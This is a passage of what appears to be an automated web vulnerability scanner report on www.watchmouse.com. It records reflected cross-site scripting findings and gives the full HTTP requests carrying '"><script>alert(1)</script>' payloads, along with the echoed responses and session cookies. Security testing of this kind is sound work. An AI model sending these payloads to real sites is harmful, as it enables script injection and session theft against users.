Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-b6dc7a7a315fe254b82cdced89ee6c50"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18823

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/?a8a07"><script>alert(1)</script>70e6b4480e5=1" method="post">
...[SNIP]...

1.577. http://www.watchmouse.com/es/feature/public-status-page.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/public-status-page.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81483"><script>alert(1)</script>f25f26fa0b3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /es81483"><script>alert(1)</script>f25f26fa0b3/feature/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-073e769c4dc112b4bee124efeff04e36"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/es81483"><script>alert(1)</script>f25f26fa0b3/feature/public-status-page.html" method="post">
...[SNIP]...

1.578. http://www.watchmouse.com/es/feature/public-status-page.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/public-status-page.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c043d"><script>alert(1)</script>8e665d0ff3d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/featurec043d"><script>alert(1)</script>8e665d0ff3d/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:14 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-d1df99b98c9397290a26ad8915235d23"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13689

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/featurec043d"><script>alert(1)</script>8e665d0ff3d/public-status-page.html" method="post">
...[SNIP]...

1.579. http://www.watchmouse.com/es/feature/public-status-page.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/public-status-page.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a333"><script>alert(1)</script>887c299eaed was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/feature/public-status-page.html2a333"><script>alert(1)</script>887c299eaed HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:18 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-8f5f5f4b7cfc602b385d6a823c158215"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13689

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/feature/public-status-page.html2a333"><script>alert(1)</script>887c299eaed" method="post">
...[SNIP]...

1.580. http://www.watchmouse.com/es/feature/the-watchmouse-api.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a878f"><script>alert(1)</script>48a39958046 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /esa878f"><script>alert(1)</script>48a39958046/feature/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e5fa5ee327eaf33a6acb6708611c727b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/esa878f"><script>alert(1)</script>48a39958046/feature/the-watchmouse-api.html" method="post">
...[SNIP]...

1.581. http://www.watchmouse.com/es/feature/the-watchmouse-api.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd6bb"><script>alert(1)</script>8f14d06a49c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/featurebd6bb"><script>alert(1)</script>8f14d06a49c/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-240ec662eb46b3877edd0a58f45ae8f6"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13689

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/featurebd6bb"><script>alert(1)</script>8f14d06a49c/the-watchmouse-api.html" method="post">
...[SNIP]...

1.582. http://www.watchmouse.com/es/feature/the-watchmouse-api.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a90f"><script>alert(1)</script>96ab871c07d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/feature/the-watchmouse-api.html8a90f"><script>alert(1)</script>96ab871c07d HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-5e1ee8790765f94314e55b7df5eb2a32"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13689

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/feature/the-watchmouse-api.html8a90f"><script>alert(1)</script>96ab871c07d" method="post">
...[SNIP]...

1.583. http://www.watchmouse.com/es/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29b6d"><script>alert(1)</script>5e8ad6b99f8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /es29b6d"><script>alert(1)</script>5e8ad6b99f8/feature/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:58 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-abd31242d4af91393c76c2ce35c30739"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/es29b6d"><script>alert(1)</script>5e8ad6b99f8/feature/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.584. http://www.watchmouse.com/es/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0739"><script>alert(1)</script>f04d8aa328c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/featuree0739"><script>alert(1)</script>f04d8aa328c/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-703662b09080e7242803a3a2dcc9d6d4"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13941

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/featuree0739"><script>alert(1)</script>f04d8aa328c/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.585. http://www.watchmouse.com/es/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8216d"><script>alert(1)</script>42af676627e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/feature/transaction-monitoring-web-application-testing.html8216d"><script>alert(1)</script>42af676627e HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-ae1a82571973bf14e37457bbf555d82b"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13941

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/feature/transaction-monitoring-web-application-testing.html8216d"><script>alert(1)</script>42af676627e" method="post">
...[SNIP]...

1.586. http://www.watchmouse.com/es/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a01d"><script>alert(1)</script>3c92cc3fd31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/feature/transaction-monitoring-web-application-testing.html?2a01d"><script>alert(1)</script>3c92cc3fd31=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:54 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-8d387855bd801062967559c68a5b20b7"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="/es/feature/transaction-monitoring-web-application-testing.html?2a01d"><script>alert(1)</script>3c92cc3fd31=1" method="post">
...[SNIP]...

1.587. http://www.watchmouse.com/es/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62876"><script>alert(1)</script>d2d2780bcae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /es62876"><script>alert(1)</script>d2d2780bcae/learn_more.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0a3579cd3b01874a09d3cca2175346c6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/es62876"><script>alert(1)</script>d2d2780bcae/learn_more.php" method="post">
...[SNIP]...

1.588. http://www.watchmouse.com/es/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 217b6"><script>alert(1)</script>2004774d5d3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/learn_more.php217b6"><script>alert(1)</script>2004774d5d3 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-7c1339481a4d648e17edf0a1924c1158"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/learn_more.php217b6"><script>alert(1)</script>2004774d5d3" method="post">
...[SNIP]...

1.589. http://www.watchmouse.com/es/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abf65"><script>alert(1)</script>5359773e6f4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/learn_more.php?abf65"><script>alert(1)</script>5359773e6f4=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:53 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:08:54 GMT
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46590

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/learn_more.php?abf65"><script>alert(1)</script>5359773e6f4=1" method="post">
...[SNIP]...

1.590. http://www.watchmouse.com/es/plans_price.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8edef"><script>alert(1)</script>9db211844e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /es8edef"><script>alert(1)</script>9db211844e/plans_price.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:55 GMT
Server: Apache/2.2.9 (Debian)
